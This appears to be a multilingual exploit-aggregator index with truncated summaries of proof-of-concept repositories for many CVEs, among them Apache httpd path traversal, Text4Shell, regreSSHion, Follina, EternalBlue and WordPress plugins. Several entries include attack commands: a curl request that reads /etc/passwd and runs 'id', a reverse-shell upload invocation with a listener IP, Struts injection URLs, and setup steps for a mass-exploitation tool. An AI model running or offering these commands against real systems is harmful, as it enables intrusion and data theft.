CVE-2019-13288-POC

CVE-2019-13288-POC xpdf/install/bin/pdftotext ./poc.pdf In Xpdf 4.01.01 kann die Funktion Parser::getObj in Parser.cc durch eine manipulierte Datei eine Endlosrekursion verursachen. Ein entfernter Angreifer kann dies für einen DoS-Angriff ausnutzen. Dies ähnelt CVE-2018-16646...

node-cve-2018-4407

node-cve-2018-4407 Codice PoC di exploit Node.js per CVE-2018-4407 Autore: Sam Decrock Questo script è basato sullo script scapy fornito da Zuk: iOS 12 / OS X Remote Kernel Heap Overflow CVE-2018-4407 POC in un tweet: pip install scapy sudo scapy sendIPdst=“Target...

CVE-2026-6279

╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 · Avada Builder = 3.15.2 ║ ║ Unauthenticated RCE via calluserfunc ║ ╚══════════════════════════════════════════════════════════════╝ 📋 Résumé...

CVE-2020-24186_reverse_shell_upload

Caricamento reverse shell per CVE-2020-24186 Exploit per WpDiscuz 7.0.4 basato sull'exploit scritto da h3v0x. Sfrutta la vulnerabilità e carica una reverse shell PHP. L'ispirazione è stata la Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 90...

cve-2021-41773

cve-2021-41773 Server starten $ docker build -t cve-2021-41773 . $ docker run --rm -d -p 80:80 cve-2021-41773 Ausnutzung curl --data "echo;id" 'http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd' Ursache Fehlkonfiguration in der Datei httpd.conf in Kombination mit Path Traversal = RCE...

CVE-2022-42889-RCE

CVE-2022-42889-PoC Prova di concetto per l'exploit di esecuzione remota di codice CVE-2022-42889 Vulnerabilità Text4Shell. Lascia una ⭐ per supporto ❤️ Informazioni su questa vulnerabilità CVE-2022-42889 è una nuova vulnerabilità critica simile a Spring4Shell e Log4Shell. È una vulnerabilità RCE...

CVE-2024-4358_Mass_Exploit

CVE-2024-4358MassExploit Strumenti modificati da @sinsinology per effettuare exploit di massa. Requisiti Python 3.x Installazione root@kitploit: git clone https://github.com/Sk1dr0wz/CVE-2024-4358MassExploit.git cd CVE-2024-4358MassExploit pip intstall -r requirements.txt Come Eseguire...

CVE-2023-35086-POC

CVE-2023-35086-POC 25 juillet 2023, Altin tin-z, github.com/tin-z Brève description Les firmwares des routeurs ASUS RT-AX56U V2 et RT-AC86U, respectivement de version inférieure ou égale à 3.0.0.4.38650460 et 3.0.0.438651529, présentent une vulnérabilité de chaîne de format dans la fonction...

gollina

root@kitploit: $ gollina -h gollina Follina MS-MSDT 0-day MS Office RCE PoC in Go -- @dwisiswant0 Usage: gollina -c COMMAND OPTIONS... Options: -h, --host Listener host default: 0.0.0.0 -p, --port Listener port default: 8090 -n, --name Word file name w/o extension, default: gollina -c, --command...

CVE-2024-6387

CVE-2024-6387 regreSSHion Script Python proof of concept per l'exploit regreSSHion. Versione 0.2.1 build POC Installazione root@kitploit: git clone https://github.com/l-urk/CVE-2024-6387.git root@kitploit: cd CVE-2024-6387 root@kitploit: pip3 install -r requirements.txt root@kitploit: python3...

CVE-2018-16119

CVE-2018-16119: Esecuzione Remota di Codice Autenticata in TP-Link WR1043ND Panoramica CVE-2018-16119 è una vulnerabilità critica di esecuzione remota di codice autenticata che interessa i router TP-Link TL-WR1043ND. Questa vulnerabilità consente a un attaccante autenticato di eseguire comandi...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2.3.5 Exemplo:...

CVE-2026-33439-PoC

CVE-2026-33439 — OpenAM Pre-Auth RCE Echo-Modus Befehlsausgabe direkt in der HTTP-Antwort — keine DNS-Exfiltration oder OOB erforderlich. Verwendet com.iplanet.jato.RequestManager.getRequestContext, um während der Deserialisierung auf die aktive JATO-ThreadLocal-Request/Response zuzugreifen...

CVE-2025-57055

CVE-2025-57055: Execução Remota de Código Autenticada no WonderCMS 3.5.0 Mecânica da Vulnerabilidade Existe uma vulnerabilidade de Execução Remota de Código RCE autenticada no WonderCMS v3.5.0. O problema decorre de como a aplicação lida com instalações remotas de temas/módulos via descritores...

CVE-2019-5624

CVE-2019-5624 Ein Proof of Concept für die Metasploit-Sicherheitslücke CVE-2019-5624 Rubyzip unsichere ZIP-Verarbeitung RCE Einleitung Im Februar 2019 fand ich eine neue Sicherheitslücke in der Rubyzip-Bibliothek. Sie ermöglicht einem Angreifer, unsichere ZIP-Verarbeitung Zip Slip auszunutzen, wa...

CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution

CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution The attacker machine is Kali Linux and Windows Server 2008 R2 as the target machine. Import the windows 2008 R2 Server from the given https://drive.google.com/drive/folders/146ViggeQl0pSpzotcAhpd3h9UP7fFOxJ?usp=sharing into your virtual b...

RCE-CVE-2020-5902

RCE-CVE-2020-5902 Exécution de code à distance sur BIG-IP F5 Description Ces attaques ciblent BIG-IP, un appareil réseau polyvalent fabriqué par F5 Networks. Les appareils BIG-IP peuvent être configurés pour fonctionner comme des systèmes de mise en forme du trafic, des équilibreurs de charge, de...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 Informations Ce dépôt contient deux PoC pour la Connect Box CH7465LG fonctionnant sous le firmware CH7465LG-NCIP-6.12.18.24-5p8-NOSH ou plus ancien. Pour plus d'informations, consultez mon blog. Utilisation Exécution de code à distance non authentifiée $ python...

CVE-2018-11776

Contenitore docker vulnerabile per CVE-2018-11776 root@kitploit: docker pull bhdresh/cve-2018-11776:1.0 docker run -dit -p :8080:8080 bhdresh/cve-2018-11776:1.0 PoC PoC - 1 root@kitploit: Richiesta : http://:8080/struts2-showcase-2.3.14/$333+333/help.action Risultato :...

CVE-2026-20841_notepad_analysis

Scopo Condurre un'indagine sulla vulnerabilità RCE di Microsoft notepad CVE-2026-20841, l'analisi binaria e la creazione di un exploit PoC a scopo didattico. Divisione dei ruoli Avviare un Agent Team per eseguire la divisione dei ruoli che ho in mente. Cacciatore di binari: raccogliere i binari...